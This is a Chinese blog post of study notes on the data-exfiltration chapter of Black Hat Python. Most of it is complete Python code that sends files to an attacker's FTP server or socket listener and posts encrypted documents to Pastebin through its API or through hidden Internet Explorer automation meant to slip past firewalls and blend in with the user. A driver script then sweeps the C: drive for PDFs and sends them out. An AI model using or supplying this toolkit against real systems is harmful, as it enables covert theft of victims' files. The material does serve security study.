黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第九章 过滤数据(2)通过文件传输 & web服务过滤数据
文章目录
通过文件传输过滤信息
transmit_exfil.py脚本
创建并打开一个新的脚本文件transmit_exfil.py,我们将会通过文件传输发送加密信息:
import ftplib
import os
import socket
import win32file
def plain_ftp(docpath, server='192.168.65.141'):
ftp = ftplib.FTP(server)
ftp.login('anonymous', 'anon@example.com')
ftp.cwd('/pub/')
ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
ftp.quit()
我们导入ftplib,用于构建独立于平台的函数,以及win32file,用于特定于Windows的函数。
我们设置了Kali作为攻击者机器,并启用FTP服务以并接受匿名文件上传。在plain_ftp函数中,我们传入要传输的文件的路径(docpath)和ftp服务器(Kali机器)的IP地址。
使用Python下的ftplib模块可以轻松创建到ftp服务器的连接、登录并导航到目标目录,最后将文件写入目标目录。
特定于windows的transmit函数
要创建特定于Windows的版本,请编写transmit函数,该函数获取要传输的文件的路径(document_path):
def transmit(document_path):
client = socket.socket()
client.connect((SERVER, 10000))
with open(document_path, 'rb') as f:
win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')
正如我们在第2章中所做的那样,我们使用我们选择的端口为攻击者机器上的侦听器打开一个套接字;这里,我们使用端口10000。然后我们使用win32file.TransmitFile函数用于传输文件。
Mian模块通过将文件(在本例中为mysecrets.txt)传输到侦听机器来提供一个简单的测试:
if __name__ == "__main__":
transmit('./mysecrets.txt')
一旦我们收到加密文件,我们就可以从该文件中读取内容并进行解密。
小试牛刀
搭建ftp服务
首先在另一台机器上搭建一个简单的ftp服务,用于测试,我这里用的是linux mint,依次执行如下的命令(这里感谢牛人如云的CSDN,我参照博客https://blog.csdn.net/qq_25715863/article/details/120111638一次性完成)。
$ sudo apt-get install vsftpd
$ sudo vi /etc/vsftpd.conf
在打开的配置文件中配置相关的信息。
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone? vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
#listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=NO
#
# Uncomment this to allow local users to log in.
local_enable=YES
local_root=<your ftp root dir>
allow_writeable_chroot=YES
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=NO
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in your local time zone. The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
chown_uploads=YES
chown_username=billson
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories. See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES
chroot_list_enable=NO
# (default follows)
chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty. Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
utf8_filesystem=YES
然后在/etc下创建(新安装的一般没有)vsftpd.chroot_list文件,并将用于测试的FTP用户名放进去,如果多个用户名,每行一个,保存退出,然后启动一下服务,并检查状态。
$ service vsftpd start
$ service vsftpd status
执行测试
现在另一台机器(kali)上手动试一下,成功了,如下图。
为了展示运行效果,我们在代码中添加一行(ftp.set_debuglevel(2)),用于设置FTP运行的debug leve,先在linux(kali机器)运行一下。效果如下图。
然后到windows下运行一下,我在windows下运行的时候一直报如下的错误,没有解决掉,如下图,后面有空的时候再回来看看。
附上源代码
附上整个代码。
import ftplib
from http import client
import os
import socket
# Comment the following line when running in linux
# import win32file
SERVER = '<your ftp server adderss>'
DOC_PATH = './mysecrets.txt'
def plain_ftp(docpath, server=SERVER):
ftp = ftplib.FTP(server)
ftp.set_debuglevel(2)
ftp.login('<your username>', '<your passwd> ')
ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
ftp.quit()
def transmit(document_path):
client = socket.socket()
client.connect((SERVER, 10000))
with open(document_path, 'rb') as f:
win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')
if __name__ == "__main__":
# Comment the following line when running in linux
# transmit('./mysecrets.txt')
# Comment the following line when running in windows
plain_ftp('./mysecrets.txt', server=SERVER)
通过wen服务过滤数据
构建paste_exfil.py脚本
接下来,我们将构建一个新脚本paste_exfil.py,通过向web服务器发送加密信息,将我们的加密文档发布到https://pastebin.com/.这将使我们能够在不需要任何其他人解密的情况下,将文档完全丢弃并检索。通过使用像Pastebin这样的知名网站,我们还应该能够绕过防火墙或代理可能拥有的任何黑名单,否则可能会阻止我们将文档发送到我们控制的IP地址或web服务器。让我们先在脚本中加入一些支持函数。创建并打开paste_exfil.py脚本,并输入以下代码:
from win32com import client
import os
import random
import requests
import time
username = '<your username>'
password = '<your passwd>'
api_dev_key = '<your key>'
我们导入需要的模块来处理与平台无关的函数,我们将使用win32com的client类来处理特定于Windows的函数。我们将向https://pastebin.com服务器鉴权并上传加密的字符串。为了能够进行身份验证,我们定义用户名和密码以及api_dev_key。
plain_paste函数
现在我们已经定义了导入和设置,现在我们编写独立于平台的函数plain_paste:
def plain_paste(title, contents):
login_url = 'https://pastebin.com/api/api_login.php'
login_data = {
'api_dev_key': api_dev_key,
'api_user_name': username,
'api_user_password': password
}
r = requests.post(login_url, data=login_data)
api_user_key = r.text
paste_url = 'https://pastebin.com/api/api_post.php'
paste_data = {
'api_paste_name': title,
'api_paste_code': contents.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'paste',
'api_paste_private': 0,
}
r = requests.post(paste_url, data=paste_data)
print(r.status_code)
print(r.text)
与前面的电子邮件函数一样,plain_paste函数接收文件名作为标题和加密内容作为参数。我们需要发出两个请求才能在自己的用户名下创建paste。首先,向登录API发布一个post请求,指定我们的用户名、API_dev_key和密码。该请求的响应是我们的api_user_key。这部分数据是我们在自己的用户名下创建粘贴所需的。第二个请求是post 接口,将paste的名称(文件名是我们的标题)和内容以及api_user_key和api_dev_key发送给它。执行完成后,我们应该能够登录到我们的https://pastebin.com帐户,并查看我们的加密内容,这样我们就可以从dashboard下载我们的paste。
使用windows下的IE
接下来,我们将编写使用Internet Explorer执行paste的Windows特定技术。为什么是Internet Explorer?尽管其他的浏览器,如Google Chrome、Microsoft Edge和Mozilla Firefox现在更受欢迎,但许多企业环境仍然使用Internet Explorer作为默认浏览器。当然,对于许多Windows版本,您不能从Windows系统中删除Internet Explorer,因此此技术几乎总是可以用于Windows特洛伊木马。
让我们看看如何利用Internet Explorer协助我们从目标网络中过滤信息。另一位加拿大安全研究员Karim Nathoo指出,Internet Explorer COM自动化具有使用Iexplore.exe进程从网络中过滤信息的巨大好处,该进程通常是可信的和白名单。让我们从编写几个支撑函数开始:
def wait_for_browser(browser):
while browser.ReadyState != 4 and browser.ReadyState != 'complete':
time.sleep(0.1)
def random_sleep():
time.sleep(random.randint(5, 10))
其中的第一个函数wait_for_browser确保浏览器已经完成其事件,而第二个函数random_sleep则使浏览器以某种随机的方式运行,因此它看起来不像编程的行为。它会随机睡眠一段时间;这被设计为允许浏览器执行可能不向文档对象模型(DOM)注册事件的任务,以表示它们已完成。它还使浏览器看起来更像是人的操作。
现在我们有了这些支持函数,让我们添加逻辑来处理登录和Pastebin仪表板导航。不幸的是,在web上没有快速简便的方法来查找UI元素(作者只是花了30分钟使用Firefox及其开发工具来检查我们需要与之交互的每个HTML元素)。如果您希望使用不同的服务,那么您也必须确定所需的精确时间、DOM交互和HTML元素。幸运的是,Python使自动化工作变得非常简单。让我们添加更多代码:
def login(ie):
full_doc = ie.Document.all
for elem in full_doc:
if elem.id == 'loginform-username':
elem.setAttribute('value', username)
elif elem.id == 'loginform-password':
elem.setAttribute('value', password)
random_sleep()
if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
wait_for_browser(ie)
登录函数首先检索DOM中的所有元素。它查找用户名和密码字段,并将其值设置为我们提供的凭据(不要忘记注册帐户)。执行此代码后,我们应该登录到Pastebin仪表板并准备粘贴一些信息。现在让我们添加该代码:
def submit(ie, title, contents):
full_doc = ie.Document.all
for elem in full_doc:
if elem.id == 'postform-name':
elem.setAttribute('value', title)
elif elem.id == 'postform-text':
elem.setAttribute('value', contents)
if ie.Document.forms[0].id == 'w0':
ie.document.forms[0].submit()
random_sleep()
wait_for_browser(ie)
此时,这些代码都不应该看起来很新鲜,我们只是在DOM中搜索,以找到博客文章的标题和正文。submit函数接收浏览器的实例,以及要发布的文件名和加密文件内容。
现在我们可以登录并发布到Pastebin,让我们为脚本做最后的润色:
def ie_paste(title, contents):
ie = client.Dispatch('InternetExplorer.Application')
ie.Visible = 1
ie.Navigate('https://pastebin.com/login')
wait_for_browser(ie)
login(ie)
ie.Navigate('https://pastebin.com/')
wait_for_browser(ie)
submit(ie, title, contents.decode())
ie.Quit()
if __name__ == '__main__':
ie_paste('title', 'contents')
ie_paste函数是我们要为每个要存储在Pastebin上的文档调用的函数。它首先创建Internet Explorer COM对象的新实例。最妙的是,您可以将流程设置为可见或不可见。对于调试,请将其设置为1,但对于最大程度的隐身,您肯定希望将其设置成0。例如,如果特洛伊木马检测到其他活动正在进行,这非常有用;在这种情况下,您可以开始过滤文档,这可能有助于进一步将您的活动与用户的活动融合在一起。在我们调用所有支持函数之后,我们只需终止InternetExplorer实例并返回。
小试牛刀
运行脚本的时候,我本地没报错,IE11被拉起,然后等待一段时间就退出了,主要原因可能是目前pastebin网站目前已经不支持IE了,需要对COM实例进行调整。
另外,再提供一个思路,使用Selenium的headless模式(跟上面代码中的ie.Visible相同的作用),直接操控页面也是可以实现上述功能的。更加发散一点,这种方式下,可以见检测主机上有什么样的浏览器,选择性调用对应浏览器的driver执行对应的工作。
将所有内容合到一起
最后,我们将我们的过滤方法与exfil.py主程序联系在一起。我们可以使用我们刚刚编写的任何方法调用它来过滤文件:
from cryptor import encrypt, decrypt
from email_exfil import outlook, plain_email
from filel_exfil import plain_ftp, transmit
from paste_exfil import ie_paste, plain_paste
import os
EXFIL = {
'outlook': outlook,
'plain_email': plain_email,
'plain_ftp': plain_ftp,
'transmit': transmit,
'ie_paste': ie_paste,
'plain_paste': plain_paste
首先,导入刚刚编写的模块和函数。然后,创建一个名为EXFIL的字典,其值对应于导入的函数,这会使调用不同的过滤功能变得非常容易。EXFIL字典的值是函数的名称,因为在Python中,函数是一级公民,可以用作参数。这种技术有时称为字典分派。它的工作方式与其他语言中的case语句非常相似。
查找要过滤的文档
现在,我们需要创建一个函数来查找要过滤的文档:
def find_docs(doc_type='.pdf'):
for parent, _, filenames in os.walk('c:\\'):
for filename in filenames:
if filename.endswith(doc_type):
document_path = os.path.join(parent, filename)
yield document_path
find_docs生成器遍历整个文件系统,检查PDF文档。当它找到一个路径时,它返回完整路径并将执行返回给调用者。
创建exfiltrate函数
接下来,我们创建exfiltrate函数,用来来协调相关的过滤工作
def exfiltrate(document_path, method):
if method in ['transmit', 'plain_ftp']:
filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
with open(document_path, 'rb') as f0:
contents = f0.read()
with open(filename, 'wb') as f1:
f1.write(encrypt(contents))
EXFIL[method](filename)
os.unlink(filename)
else:
with open(document_path, 'rb') as f:
contents = f.read()
title = os.path.basename(document_path)
contents = encrypt(contents)
EXFIL[method](title, contents)
我们向exfiltrate函数传递文档的路径和我们想要使用的过滤方法。当过滤方法涉及文件传输(transmit或plain_ftp)时,我们需要提供一个实际文件,而不是一个编码字符串。在这种情况下,我们从文件源读取文件,加密内容,并将新文件写入临时目录。我们调用EXFIL字典来分派相应的过滤方法,传入新的加密文档路径来过滤文件,然后从临时目录中删除文件。
对于其他方法,我们不需要编写新的模块文件;相反,我们只需要读取要过滤的文件,加密其内容,并调用EXFIL字典以发送或粘贴加密信息即可。
在main函数中,我们遍历所有找到的文档。作为测试,我们通过plain_paste方法过滤它们,尽管我们可以选择我们定义的六个方法中的任何一个:
if __name__ == '__main__':
for fpath in find_docs():
exfiltrate(fpath, 'plain_paste')
小试牛刀
这段代码有很多可变化的部分,但是这个工具很容易使用。只需运行我们的exfil.py脚本,并等待它指示它已通过电子邮件、FTP或Pastebin成功地过滤了文件即可。
如果在运行paste_ex文件时我们在ie_paste函数中设置了Internet Explorer可见。我们应该能够观察到整个过程。完成后之后,我们应该能够在Pastebin页面看到相关的内容。
完美!我们的exfil.py脚本提取了一个名为topo_post.PDF的PDF文档,加密了内容,并将内容上传到pastebin.com。我们可以通过从paste现在并将其提供给解密函数来成功解密文件:
from cryptor import decrypt
with open('topo_post_pdf.txt', 'rb') as f:
contents = f.read()
f.close()
with open('newtopo.pdf', 'wb') as f:
f.write(decrypt(contents))
f.close()
这段代码将打开下载的paste文件,解密内容,并将解密的内容写入新文件。然后,我们可以使用PDF阅读器打开新文件,以查看包含来自受害者机器的原始文件。
现在,我们的工具箱中有几个用于过滤的工具。选择哪一个取决于受害者网络的性质以及该网络上使用的安全级别。